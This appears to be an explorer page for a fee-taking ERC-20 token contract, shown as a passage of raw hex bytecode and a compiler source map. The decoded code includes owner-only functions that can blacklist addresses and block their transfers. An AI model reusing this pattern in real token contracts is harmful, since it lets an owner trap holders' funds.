31215611afa57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2557600080fd5b815180151581146112a057600080fd5b600060208284031215611b4757600080fd5b81516112a081611791565b60008219821115611b6557611b65611957565b500190565b600082821015611b7c57611b7c611957565b500390565b600082611b9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf35784516001600160a01b031683529383019391830191600101611bce565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207bbb3638d31b650afc017c168e32a14455e8577de19c4bb8678b243fa5594e6164736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610380578063bf474bed146103a0578063c7f93529146103b6578063d34628cc146103cc578063dd62ed3e146103ec578063f7f23a0c1461043257600080fd5b80637d1db4a5146102ea5780638a8c523c146103005780638da5cb5b146103155780638f9a55c01461033d57806395d89b411461035357600080fd5b8063313ce567116100fd578063313ce5671461021357806331c2d8471461022f5780633bbac5791461025157806370a082311461028a578063715018a6146102c0578063751039fc146102d557600080fd5b806306fdde0314610145578063095ea7b31461018a5780630faee56f146101ba57806318160ddd146101de57806323b872dd146101f357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a81526914195c1949dcc810d85d60b21b60208201525b604051610181919061173c565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046117b9565b610447565b6040519015158152602001610181565b3480156101c657600080fd5b506101d060095481565b604051908152602001610181565b3480156101ea57600080fd5b506101d061045e565b3480156101ff57600080fd5b506101aa61020e3660046117e5565b61047f565b34801561021f57600080fd5b5060405160098152602001610181565b34801561023b57600080fd5b5061024f61024a36600461183c565b6104e8565b005b34801561025d57600080fd5b506101aa61026c366004611901565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029657600080fd5b506101d06102a5366004611901565b6001600160a01b031660009081526001602052604090205490565b3480156102cc57600080fd5b5061024f610587565b3480156102e157600080fd5b5061024f6105fb565b3480156102f657600080fd5b506101d060085481565b34801561030c57600080fd5b5061024f6106ad565b34801561032157600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561034957600080fd5b506101d060065481565b34801561035f57600080fd5b50604080518082019091526004815263050414d560e41b6020820152610174565b34801561038c57600080fd5b506101aa61039b3660046117b9565b610880565b3480156103ac57600080fd5b506101d060075481565b3480156103c257600080fd5b506101d0600a5481565b3480156103d857600080fd5b5061024f6103e736600461183c565b61088d565b3480156103f857600080fd5b506101d061040736600461191e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b5061024f61091f565b6000610454338484610b76565b5060015b92915050565b600061046c6009600a611a51565b61047a90633b9aca00611a60565b905090565b600061048c848484610c9b565b6104de84336104d985604051806060016040528060288152602001611c15602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611153565b610b76565b5060019392505050565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260040161051290611a7f565b60405180910390fd5b60005b81518110156105835760006004600084848151811061053f5761053f611ab4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057b81611aca565b91505061051e565b5050565b6000546001600160a01b031633146105b15760405162461bcd60e51b815260040161051290611a7f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161051290611a7f565b6106316009600a611a51565b61063f90633b9aca00611a60565b60085561064e6009600a611a51565b61065c90633b9aca00611a60565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068c6009600a611a51565b61069a90633b9aca00611a60565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106d75760405162461bcd60e51b815260040161051290611a7f565b601454600160a01b900460ff161561072b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610512565b601354600a546001600160a01b039091169063f305d719904790309060008061075c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e99190611ae5565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611b13565b506014805462ff00ff60a01b19166201000160a01b179055565b6000610454338484610c9b565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161051290611a7f565b60005b8151811015610583576001600460008484815181106108db576108db611ab4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091781611aca565b9150506108ba565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161051290611a7f565b601454600160a01b900460ff161561099d5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610512565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109e69030906109d86009600a611a51565b6104d990633b9aca00611a60565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5d9190611b35565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611b35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190611b35565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610512565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610512565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610512565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610512565b60008111610dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610512565b601454600160b01b900460ff161580610de55750601454600160a81b900460ff165b15610dfa57610df583838361118d565b505050565b600080546001600160a01b03858116911614801590610e2757506000546001600160a01b03848116911614155b1561110f576001600160a01b03841660009081526004602052604090205460ff16158015610e6e57506001600160a01b03831660009081526004602052604090205460ff16155b610e7757600080fd5b610ea36064610e9d600f5460125411610e9257600b54610e96565b600d545b8590611221565b906112a7565b6014549091506001600160a01b038581169116148015610ed157506013546001600160a01b03848116911614155b8015610ef657506001600160a01b03831660009081526003602052604090205460ff16155b15610fde57600854821115610f4d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610512565b60065482610f70856001600160a01b031660009081526001602052604090205490565b610f7a9190611b52565b1115610fc85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610512565b60128054906000610fd883611aca565b91905055505b6014546001600160a01b03848116911614801561100457506001600160a01b0384163014155b156110315761102e6064610e9d6010546012541161102457600c54610e96565b600e548590611221565b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561106857506014546001600160a01b038581169116145b801561107d5750601454600160b01b900460ff165b801561108c5750601154601254115b80156110b157506001600160a01b03851660009081526003602052604090205460ff16155b80156110d657506001600160a01b03841660009081526003602052604090205460ff16155b1561110d576007548110611101576111016110fc846110f7846009546112e9565b6112e9565b6112fe565b4761110b47611478565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff16801561113d5760009150600092505b61114b86868686868b6114b2565b505050505050565b600081848411156111775760405162461bcd60e51b8152600401610512919061173c565b5060006111848486611b6a565b95945050505050565b6001600160a01b0383166000908152600160205260409020546111b090826114df565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111df9082611521565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611c3d83398151915290610c8e9085815260200190565b60008261123057506000610458565b600061123c8385611a60565b9050826112498583611b81565b146112a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610512565b9392505050565b60006112a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611580565b60008183116112f857826112a0565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134657611346611ab4565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611b35565b816001815181106113d6576113d6611ab4565b6001600160a01b0392831660209182029290920101526013546113fc9130911684610b76565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611435908590600090869030904290600401611ba3565b600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610583573d6000803e3d6000fd5b81156114c7576114c286846115ae565b6114d3565b6114d386858584611619565b61114b8686868661169c565b60006112a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611153565b60008061152e8385611b52565b9050838110156112a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610512565b600081836115a15760405162461bcd60e51b8152600401610512919061173c565b5060006111848486611b81565b801561058357306000908152600160205260409020546115ce9082611521565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611c3d8339815191529061160d9085815260200190565b60405180910390a35050565b6116498215611628578261162a565b835b6001600160a01b03831660009081526001602052604090205490611521565b6001600160a01b038083166000818152600160205260409020929092558516600080516020611c3d83398151915284156116835784611685565b855b60405190815260200160405180910390a350505050565b6001600160a01b0384166000908152600160205260409020546116bf90836114df565b6001600160a01b0385166000908152600160205260409020556117046116e583836114df565b6001600160a01b03851660009081526001602052604090205490611521565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611c3d83398151915261168585856114df565b600060208083528351808285015260005b818110156117695785810183015185820160400152820161174d565b8181111561177b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146117a657600080fd5b50565b80356117b481611791565b919050565b600080604083850312156117cc57600080fd5b82356117d781611791565b946020939093013593505050565b6000806000606084860312156117fa57600080fd5b833561180581611791565b9250602084013561181581611791565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561184f57600080fd5b823567ffffffffffffffff8082111561186757600080fd5b818501915085601f83011261187b57600080fd5b81358181111561188d5761188d611826565b8060051b604051601f19603f830116810181811085821117156118b2576118b2611826565b6040529182528482019250838101850191888311156118d057600080fd5b938501935b828510156118f5576118e6856117a9565b845293850193928501926118d5565b98975050505050505050565b60006020828403121561191357600080fd5b81356112a081611791565b6000806040838503121561193157600080fd5b823561193c81611791565b9150602083013561194c81611791565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a857816000190482111561198e5761198e611957565b8085161561199b57918102915b93841c9390800290611972565b509250929050565b6000826119bf57506001610458565b816119cc57506000610458565b81600181146119e257600281146119ec57611a08565b6001915050610458565b60ff8411156119fd576119fd611957565b50506001821b610458565b5060208310610133831016604e8410600b8410161715611a2b575081810a610458565b611a35838361196d565b8060001904821115611a4957611a49611957565b029392505050565b60006112a060ff8416836119b0565b6000816000190483118215151615611a7a57611a7a611957565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ade57611ade611957565b5060010190565b600080600060608486031215611afa57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2557600080fd5b815180151581146112a057600080fd5b600060208284031215611b4757600080fd5b81516112a081611791565b60008219821115611b6557611b65611957565b500190565b600082821015611b7c57611b7c611957565b500390565b600082611b9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf35784516001600160a01b031683529383019391830191600101611bce565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207bbb3638d31b650afc017c168e32a14455e8577de19c4bb8678b243fa5594e6164736f6c634300080b0033

Deployed Bytecode Sourcemap

4212:10789:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6140:83;;;;;;;;;;-1:-1:-1;6210:5:0;;;;;;;;;;;;-1:-1:-1;;;6210:5:0;;;;6140:83;;;;;;;:::i;:::-;;;;;;;;7023:186;;;;;;;;;;-1:-1:-1;7023:186:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;7023:186:0;1211:187:1;4873:57:0;;;;;;;;;;;;;;;;;;;1549:25:1;;;1537:2;1522:18;4873:57:0;1403:177:1;6417:95:0;;;;;;;;;;;;;:::i;7217:446::-;;;;;;;;;;-1:-1:-1;7217:446:0;;;;;:::i;:::-;;:::i;6326:83::-;;;;;;;;;;-1:-1:-1;6326:83:0;;4597:1;2188:36:1;;2176:2;2161:18;6326:83:0;2046:184:1;8453:168:0;;;;;;;;;;-1:-1:-1;8453:168:0;;;;;:::i;:::-;;:::i;:::-;;8629:86;;;;;;;;;;-1:-1:-1;8629:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;8700:7:0;8676:4;8700:7;;;:4;:7;;;;;;;;;8629:86;6520:119;;;;;;;;;;-1:-1:-1;6520:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6613:18:0;6586:7;6613:18;;;:9;:18;;;;;;;6520:119;2846:148;;;;;;;;;;;;;:::i;8014:162::-;;;;;;;;;;;;;:::i;4808:58::-;;;;;;;;;;;;;;;;9482:476;;;;;;;;;;;;;:::i;2632:79::-;;;;;;;;;;-1:-1:-1;2670:7:0;2697:6;2632:79;;-1:-1:-1;;;;;2697:6:0;;;3891:51:1;;3879:2;3864:18;2632:79:0;3745:203:1;4678:60:0;;;;;;;;;;;;;;;;6231:87;;;;;;;;;;-1:-1:-1;6303:7:0;;;;;;;;;;;;-1:-1:-1;;;6303:7:0;;;;6231:87;;6647:192;;;;;;;;;;-1:-1:-1;6647:192:0;;;;;:::i;:::-;;:::i;4745:56::-;;;;;;;;;;;;;;;;4937:58;;;;;;;;;;;;;;;;8281:164;;;;;;;;;;-1:-1:-1;8281:164:0;;;;;:::i;:::-;;:::i;6847:168::-;;;;;;;;;;-1:-1:-1;6847:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6980:18:0;;;6953:7;6980:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6847:168;9012:462;;;;;;;;;;;;;:::i;7023:186::-;7123:4;7140:39;807:10;7163:7;7172:6;7140:8;:39::i;:::-;-1:-1:-1;7197:4:0;7023:186;;;;;:::o;6417:95::-;6470:7;4656:15;4597:1;4656:2;:15;:::i;:::-;4640:31;;:13;:31;:::i;:::-;6490:14;;6417:95;:::o;7217:446::-;7349:4;7366:36;7376:6;7384:9;7395:6;7366:9;:36::i;:::-;7413:220;7436:6;807:10;7484:138;7540:6;7484:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7484:19:0;;;;;;:11;:19;;;;;;;;807:10;7484:33;;;;;;;;;;:37;:138::i;:::-;7413:8;:220::i;:::-;-1:-1:-1;7651:4:0;7217:446;;;;;:::o;8453:168::-;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;;;;;;;;;8528:6:::1;8523:91;8544:6;:13;8540:1;:17;8523:91;;;8597:5;8579:4;:15;8584:6;8591:1;8584:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8579:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8579:15:0;:23;;-1:-1:-1;;8579:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8559:3;::::1;::::0;::::1;:::i;:::-;;;;8523:91;;;;8453:168:::0;:::o;2846:148::-;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;2953:1:::1;2937:6:::0;;2916:40:::1;::::0;-1:-1:-1;;;;;2937:6:0;;::::1;::::0;2916:40:::1;::::0;2953:1;;2916:40:::1;2984:1;2967:19:::0;;-1:-1:-1;;;;;;2967:19:0::1;::::0;;2846:148::o;8014:162::-;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;4656:15:::1;4597:1;4656:2;:15;:::i;:::-;4640:31;::::0;:13:::1;:31;:::i;:::-;8068:12;:22:::0;4656:15:::1;4597:1;4656:2;:15;:::i;:::-;4640:31;::::0;:13:::1;:31;:::i;:::-;8101:14;:24:::0;8141:27:::1;4656:15;4597:1;4656:2;:15;:::i;:::-;4640:31;::::0;:13:::1;:31;:::i;:::-;8141:27;::::0;1549:25:1;;;1537:2;1522:18;8141:27:0::1;;;;;;;8014:162::o:0;9482:476::-;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;9546:11:::1;::::0;-1:-1:-1;;;9546:11:0;::::1;;;9545:12;9537:48;;;::::0;-1:-1:-1;;;9537:48:0;;6869:2:1;9537:48:0::1;::::0;::::1;6851:21:1::0;6908:2;6888:18;;;6881:30;-1:-1:-1;;;6927:18:1;;;6920:53;6990:18;;9537:48:0::1;6667:347:1::0;9537:48:0::1;9598:15;::::0;9702:11:::1;::::0;-1:-1:-1;;;;;9598:15:0;;::::1;::::0;:31:::1;::::0;9637:21:::1;::::0;9682:4:::1;::::0;9598:15:::1;::::0;9760:7:::1;2670::::0;2697:6;-1:-1:-1;;;;;2697:6:0;;2632:79;9760:7:::1;9598:210;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9598:210:0;;;-1:-1:-1;;;;;7378:15:1;;;9598:210:0::1;::::0;::::1;7360:34:1::0;7410:18;;;7403:34;;;;7453:18;;;7446:34;;;;7496:18;;;7489:34;7560:15;;;7539:19;;;7532:44;9782:15:0::1;7592:19:1::0;;;7585:35;7294:19;;9598:210:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9828:13:0::1;::::0;9859:15:::1;::::0;9821:71:::1;::::0;-1:-1:-1;;;9821:71:0;;-1:-1:-1;;;;;9859:15:0;;::::1;9821:71;::::0;::::1;8116:51:1::0;-1:-1:-1;;8183:18:1;;;8176:34;9828:13:0;::::1;::::0;-1:-1:-1;9821:29:0::1;::::0;8089:18:1;;9821:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9903:11:0::1;:18:::0;;-1:-1:-1;;;;9932:18:0;-1:-1:-1;;;9932:18:0;;;9482:476::o;6647:192::-;6750:4;6767:42;807:10;6791:9;6802:6;6767:9;:42::i;8281:164::-;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;8355:6:::1;8350:88;8371:5;:12;8367:1;:16;8350:88;;;8422:4;8405;:14;8410:5;8416:1;8410:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8405:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8405:14:0;:21;;-1:-1:-1;;8405:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8385:3;::::1;::::0;::::1;:::i;:::-;;;;8350:88;;9012:462:::0;2759:6;;-1:-1:-1;;;;;2759:6:0;807:10;2759:22;2751:67;;;;-1:-1:-1;;;2751:67:0;;;;;;;:::i;:::-;9071:11:::1;::::0;-1:-1:-1;;;9071:11:0;::::1;;;9070:12;9062:48;;;::::0;-1:-1:-1;;;9062:48:0;;6869:2:1;9062:48:0::1;::::0;::::1;6851:21:1::0;6908:2;6888:18;;;6881:30;-1:-1:-1;;;6927:18:1;;;6920:53;6990:18;;9062:48:0::1;6667:347:1::0;9062:48:0::1;9131:15;:104:::0;;-1:-1:-1;;;;;;9131:104:0::1;9182:42;9131:104:::0;;::::1;::::0;;;9248:58:::1;::::0;9265:4:::1;::::0;4656:15:::1;4597:1;4656:2;:15;:::i;:::-;4640:31;::::0;:13:::1;:31;:::i;9248:58::-;9353:15;;;;;;;;;-1:-1:-1::0;;;;;9353:15:0::1;-1:-1:-1::0;;;;;9353:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9335:55:0::1;;9413:4;9433:15;;;;;;;;;-1:-1:-1::0;;;;;9433:15:0::1;-1:-1:-1::0;;;;;9433:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9335:131;::::0;-1:-1:-1;;;;;;9335:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8989:15:1;;;9335:131:0::1;::::0;::::1;8971:34:1::0;9041:15;;9021:18;;;9014:43;8906:18;;9335:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9319:13;:147:::0;;-1:-1:-1;;;;;;9319:147:0::1;-1:-1:-1::0;;;;;9319:147:0;;;::::1;::::0;;;::::1;::::0;;9012:462::o;7671:335::-;-1:-1:-1;;;;;7764:19:0;;7756:68;;;;-1:-1:-1;;;7756:68:0;;9270:2:1;7756:68:0;;;9252:21:1;9309:2;9289:18;;;9282:30;9348:34;9328:18;;;9321:62;-1:-1:-1;;;9399:18:1;;;9392:34;9443:19;;7756:68:0;9068:400:1;7756:68:0;-1:-1:-1;;;;;7843:21:0;;7835:68;;;;-1:-1:-1;;;7835:68:0;;9675:2:1;7835:68:0;;;9657:21:1;9714:2;9694:18;;;9687:30;9753:34;9733:18;;;9726:62;-1:-1:-1;;;9804:18:1;;;9797:32;9846:19;;7835:68:0;9473:398:1;7835:68:0;-1:-1:-1;;;;;7914:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7966:32;;1549:25:1;;;7966:32:0;;1522:18:1;7966:32:0;;;;;;;;7671:335;;;:::o;11329:2791::-;-1:-1:-1;;;;;11432:24:0;;11424:74;;;;-1:-1:-1;;;11424:74:0;;10078:2:1;11424:74:0;;;10060:21:1;10117:2;10097:18;;;10090:30;10156:34;10136:18;;;10129:62;-1:-1:-1;;;10207:18:1;;;10200:35;10252:19;;11424:74:0;9876:401:1;11424:74:0;-1:-1:-1;;;;;11517:23:0;;11509:71;;;;-1:-1:-1;;;11509:71:0;;10484:2:1;11509:71:0;;;10466:21:1;10523:2;10503:18;;;10496:30;10562:34;10542:18;;;10535:62;-1:-1:-1;;;10613:18:1;;;10606:33;10656:19;;11509:71:0;10282:399:1;11509:71:0;11610:1;11599:8;:12;11591:66;;;;-1:-1:-1;;;11591:66:0;;10888:2:1;11591:66:0;;;10870:21:1;10927:2;10907:18;;;10900:30;10966:34;10946:18;;;10939:62;-1:-1:-1;;;11017:18:1;;;11010:39;11066:19;;11591:66:0;10686:405:1;11591:66:0;11673:11;;-1:-1:-1;;;11673:11:0;;;;11672:12;;:22;;-1:-1:-1;11688:6:0;;-1:-1:-1;;;11688:6:0;;;;11672:22;11668:123;;;11711:47;11726:10;11738:9;11749:8;11711:14;:47::i;:::-;11329:2791;;;:::o;11668:123::-;11801:17;2697:6;;-1:-1:-1;;;;;11837:21:0;;;2697:6;;11837:21;;;;:45;;-1:-1:-1;2670:7:0;2697:6;-1:-1:-1;;;;;11862:20:0;;;2697:6;;11862:20;;11837:45;11833:2027;;;-1:-1:-1;;;;;11908:16:0;;;;;;:4;:16;;;;;;;;11907:17;:37;;;;-1:-1:-1;;;;;;11929:15:0;;;;;;:4;:15;;;;;;;;11928:16;11907:37;11899:46;;;;;;11972:210;12178:3;11972:183;12038:15;;12026:9;;:27;12025:111;;12122:14;;12025:111;;;12082:12;;12025:111;11972:8;;:30;:183::i;:::-;:205;;:210::i;:::-;12235:13;;11960:222;;-1:-1:-1;;;;;;12221:27:0;;;12235:13;;12221:27;:85;;;;-1:-1:-1;12290:15:0;;-1:-1:-1;;;;;12269:37:0;;;12290:15;;12269:37;;12221:85;:136;;;;-1:-1:-1;;;;;;12328:29:0;;;;;;:18;:29;;;;;;;;12327:30;12221:136;12199:469;;;12412:12;;12400:8;:24;;12392:62;;;;-1:-1:-1;;;12392:62:0;;11298:2:1;12392:62:0;;;11280:21:1;11337:2;11317:18;;;11310:30;11376:27;11356:18;;;11349:55;11421:18;;12392:62:0;11096:349:1;12392:62:0;12538:14;;12526:8;12503:20;12513:9;-1:-1:-1;;;;;6613:18:0;6586:7;6613:18;;;:9;:18;;;;;;;6520:119;12503:20;:31;;;;:::i;:::-;:49;;12473:149;;;;-1:-1:-1;;;12473:149:0;;11785:2:1;12473:149:0;;;11767:21:1;11824:2;11804:18;;;11797:30;11863:28;11843:18;;;11836:56;11909:18;;12473:149:0;11583:350:1;12473:149:0;12641:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12199:469;12701:13;;-1:-1:-1;;;;;12688:26:0;;;12701:13;;12688:26;:57;;;;-1:-1:-1;;;;;;12718:27:0;;12740:4;12718:27;;12688:57;12684:347;;;12778:237;13011:3;12778:206;12852:16;;12840:9;;:28;12839:122;;12946:15;;12839:122;;;12901:13;;12778:8;;:34;:206::i;:237::-;12766:249;;12684:347;13096:4;13047:28;6613:18;;;:9;:18;;;;;;13140:6;;-1:-1:-1;;;13140:6:0;;;;13139:7;:54;;;;-1:-1:-1;13180:13:0;;-1:-1:-1;;;;;13167:26:0;;;13180:13;;13167:26;13139:54;:86;;;;-1:-1:-1;13214:11:0;;-1:-1:-1;;;13214:11:0;;;;13139:86;:137;;;;;13258:18;;13246:9;;:30;13139:137;:189;;;;-1:-1:-1;;;;;;13298:30:0;;;;;;:18;:30;;;;;;;;13297:31;13139:189;:240;;;;-1:-1:-1;;;;;;13350:29:0;;;;;;:18;:29;;;;;;;;13349:30;13139:240;13117:732;;;13441:17;;13417:20;:41;13414:208;;13483:119;13526:53;13530:8;13540:38;13544:20;13566:11;;13540:3;:38::i;:::-;13526:3;:53::i;:::-;13483:16;:119::i;:::-;13687:21;13779:35;13792:21;13779:12;:35::i;:::-;13395:454;13117:732;11884:1976;11833:2027;-1:-1:-1;;;;;13930:30:0;;13880:13;13930:30;;;:18;:30;;;;;;13896:4;;13930:30;;13971:51;;;;14000:5;13989:16;;14019:1;14007:13;;13971:51;14032:80;14047:10;14059:9;14070:8;14080:9;14091:8;14101:10;14032:14;:80::i;:::-;11413:2707;;;11329:2791;;;:::o;3356:224::-;3476:7;3512:12;3504:6;;;;3496:29;;;;-1:-1:-1;;;3496:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3536:9:0;3548:5;3552:1;3548;:5;:::i;:::-;3536:17;3356:224;-1:-1:-1;;;;;3356:224:0:o;8723:281::-;-1:-1:-1;;;;;8844:20:0;;;;;;:9;:20;;;;;;:34;;8869:8;8844:24;:34::i;:::-;-1:-1:-1;;;;;8821:20:0;;;;;;;:9;:20;;;;;;:57;;;;8910:18;;;;;;;:32;;8933:8;8910:22;:32::i;:::-;-1:-1:-1;;;;;8889:18:0;;;;;;;:9;:18;;;;;;;:53;;;;8958:38;;;;;;-1:-1:-1;;;;;;;;;;;8958:38:0;;;8987:8;1549:25:1;;1537:2;1522:18;;1403:177;3588:246:0;3646:7;3670:6;3666:47;;-1:-1:-1;3700:1:0;3693:8;;3666:47;3723:9;3735:5;3739:1;3735;:5;:::i;:::-;3723:17;-1:-1:-1;3768:1:0;3759:5;3763:1;3723:17;3759:5;:::i;:::-;:10;3751:56;;;;-1:-1:-1;;;3751:56:0;;12492:2:1;3751:56:0;;;12474:21:1;12531:2;12511:18;;;12504:30;12570:34;12550:18;;;12543:62;-1:-1